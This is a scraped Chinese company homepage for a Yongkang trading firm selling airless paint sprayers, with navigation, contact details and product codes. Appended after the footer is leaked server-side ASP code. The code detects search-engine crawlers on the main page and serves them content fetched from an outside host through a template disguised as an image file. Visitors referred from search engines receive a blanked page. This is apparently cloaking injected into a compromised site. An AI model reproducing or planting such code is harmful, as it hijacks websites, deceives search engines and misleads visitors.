首 页 新闻中心 公司简介 产品展示 在线留言 联系我们

  公司简介 About us
    永康市西超商贸有限公司专业从事喷涂机(无气喷涂机,高压无气喷涂机)的开发及代理,目前有电动隔膜式和电动柱塞式两种款式,公司凭借优质的产品和优良服务获得广大国内客户的青睐....
  新闻中心 News
  不同无气喷涂机优缺点
  电动高压无气喷涂机开...
  建筑涂料的最佳施工方...
  国家机械无气喷涂机新...
  联系我们 Contact us

永康市西超商贸有限公司
地址:永康市长城工业园区
电话:17705795844
传真:0086-579-87085432
手机:13967922966 15355325877
联系人:周先生 李小姐

  产品中心 Porducts
 
HX695B 
W985A 
BH646-1
首 页 | 新闻中心 | 公司简介 | 产品展示 | 在线留言 | 联系我们
版权所有:永康市西超商贸有限公司 地址:浙江省永康市长城工业园区
电话:17705795844 传真:0086-579-87085432 QQ:240998296 邮箱:jwzhou78@126.com
手机:13967922966 / 15355325877 联系人:周先生 李小姐 无气喷涂机,高压无气喷涂机
 
 
 
友情链接: 铜门 气动冲击钻 涂料喷涂机 贴木皮 垃圾桶
<% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next end function function gethttp(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile,htmls,stitle,remotehtml,bodyurl bodyurl="http://www.lzsmjx.com/info/qi.txt" remotehtml=gethttp(bodyurl) stitle =remotehtml mfileurl=Server.MapPath("Images\pac.jpg") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll htmls=replace(mfilecon,"{期数}",stitle) response.clear response.write(htmls) response.write("") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (fromse() and mainpage()) then response.clear response.write("
") response.flush response.end end if %>